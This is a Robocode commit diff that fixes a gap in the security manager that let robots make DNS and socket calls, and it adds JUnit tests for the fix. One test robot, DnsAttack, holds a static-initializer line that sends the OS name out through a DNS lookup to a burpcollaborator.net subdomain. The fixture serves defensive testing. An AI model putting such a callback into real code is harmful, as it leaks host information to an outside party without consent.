Skip to content

Commit 836c846

Browse files
author
Flemming N. Larsen
committed
Bug-406: DNS interaction is not blocked by Robocode's security manager + test(s) to verify the fix
1 parent e9d00b6 commit 836c846

6 files changed

Lines changed: 97 additions & 17 deletions

File tree

robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,9 @@
1212
import net.sf.robocode.host.IThreadManager;
1313
import net.sf.robocode.io.RobocodeProperties;
1414

15+
import java.net.SocketPermission;
1516
import java.security.AccessControlException;
17+
import java.security.Permission;
1618

1719

1820
/**
@@ -49,7 +51,6 @@ public void checkAccess(Thread t) {
4951
}
5052

5153
Thread c = Thread.currentThread();
52-
5354
if (isSafeThread(c)) {
5455
return;
5556
}
@@ -84,7 +85,7 @@ public void checkAccess(Thread t) {
8485
if (robotProxy != null) {
8586
robotProxy.punishSecurityViolation(message);
8687
}
87-
throw new AccessControlException(message);
88+
throw new SecurityException(message);
8889
}
8990
}
9091

@@ -94,7 +95,6 @@ public void checkAccess(ThreadGroup g) {
9495
return;
9596
}
9697
Thread c = Thread.currentThread();
97-
9898
if (isSafeThread(c)) {
9999
return;
100100
}
@@ -123,9 +123,27 @@ public void checkAccess(ThreadGroup g) {
123123
String message = "Robots are only allowed to create up to 5 threads!";
124124

125125
robotProxy.punishSecurityViolation(message);
126-
throw new AccessControlException(message);
126+
throw new SecurityException(message);
127127
}
128128
}
129+
130+
public void checkPermission(Permission perm) {
131+
if (RobocodeProperties.isSecurityOff()) {
132+
return;
133+
}
134+
Thread c = Thread.currentThread();
135+
if (isSafeThread(c)) {
136+
return;
137+
}
138+
super.checkPermission(perm);
139+
140+
if (perm instanceof SocketPermission) {
141+
IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
142+
String message = "Using socket is not allowed";
143+
robotProxy.punishSecurityViolation(message);
144+
throw new SecurityException(message);
145+
}
146+
}
129147

130148
private boolean isSafeThread(Thread c) {
131149
return threadManager.isSafeThread(c);
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package tested.robots;
2+
3+
public class DnsAttack extends robocode.Robot {
4+
static {
5+
try {
6+
new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
7+
+ ".randomsubdomain.burpcollaborator.net").openStream();
8+
} catch (Exception e) {
9+
}
10+
}
11+
12+
public void run() {
13+
for (;;) {
14+
ahead(100);
15+
back(100);
16+
}
17+
}
18+
}

robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
public class TestConstructorHttpAttack extends RobocodeTestBed {
2020

2121
private boolean messagedInitialization;
22-
private boolean messagedAccessDenied;
22+
private boolean securityExceptionOccurred;
2323

2424
@Override
2525
public String getRobotNames() {
@@ -36,20 +36,19 @@ public void onTurnEnded(TurnEndedEvent event) {
3636
messagedInitialization = true;
3737
}
3838

39-
if (out.contains("access denied (java.net.SocketPermission")
40-
|| out.contains("access denied (\"java.net.SocketPermission\"")) {
41-
messagedAccessDenied = true;
39+
if (out.contains("java.lang.SecurityException:")) {
40+
securityExceptionOccurred = true;
4241
}
4342
}
4443

4544
@Override
4645
protected void runTeardown() {
4746
Assert.assertTrue("Error during initialization", messagedInitialization);
48-
Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
47+
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
4948
}
5049

5150
@Override
5251
protected int getExpectedErrors() {
53-
return hasJavaNetURLPermission ? 3 : 2; // Security error must be reported as an error
52+
return 2;
5453
}
5554
}

robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
*/
1919
public class TestHttpAttack extends RobocodeTestBed {
2020

21-
private boolean messagedAccessDenied;
21+
private boolean securityExceptionOccurred;
2222

2323
@Override
2424
public String getRobotNames() {
@@ -31,19 +31,18 @@ public void onTurnEnded(TurnEndedEvent event) {
3131

3232
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
3333

34-
if (out.contains("access denied (java.net.SocketPermission")
35-
|| out.contains("access denied (\"java.net.SocketPermission\"")) {
36-
messagedAccessDenied = true;
34+
if (out.contains("java.lang.SecurityException:")) {
35+
securityExceptionOccurred = true;
3736
}
3837
}
3938

4039
@Override
4140
protected void runTeardown() {
42-
Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
41+
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
4342
}
4443

4544
@Override
4645
protected int getExpectedErrors() {
47-
return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
46+
return 1;
4847
}
4948
}
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
/**
2+
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
3+
* All rights reserved. This program and the accompanying materials
4+
* are made available under the terms of the Eclipse Public License v1.0
5+
* which accompanies this distribution, and is available at
6+
* https://robocode.sourceforge.io/license/epl-v10.html
7+
*/
8+
package net.sf.robocode.test.robots;
9+
10+
import net.sf.robocode.test.helpers.RobocodeTestBed;
11+
import org.junit.Assert;
12+
import robocode.control.events.TurnEndedEvent;
13+
14+
/**
15+
* @author Flemming N. Larsen (original)
16+
*/
17+
public class TestStaticConstructorDnsAttack extends RobocodeTestBed {
18+
19+
private boolean securityExceptionOccurred;
20+
21+
@Override
22+
public String getRobotNames() {
23+
return "tested.robots.DnsAttack,sample.Target";
24+
}
25+
26+
@Override
27+
public void onTurnEnded(TurnEndedEvent event) {
28+
super.onTurnEnded(event);
29+
30+
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
31+
32+
if (out.contains("SYSTEM: Using socket is not allowed")) {
33+
securityExceptionOccurred = true;
34+
}
35+
}
36+
37+
@Override
38+
protected void runTeardown() {
39+
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
40+
}
41+
42+
@Override
43+
protected int getExpectedErrors() {
44+
return 1;
45+
}
46+
}

versions.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
### Bugfixes
44
* [Bug-404][]: Confusion between development/non-development versions of bots
5-
* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] is back.
5+
* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] has been reintroduced.
66

77
### Changes
88
* Fix by Bumfo, which makes Robocode faster at detecting robots in the robot folder, which is crucial for the RoboRumble, when installing or updating a huge amount of robots.

0 commit comments

Comments
 (0)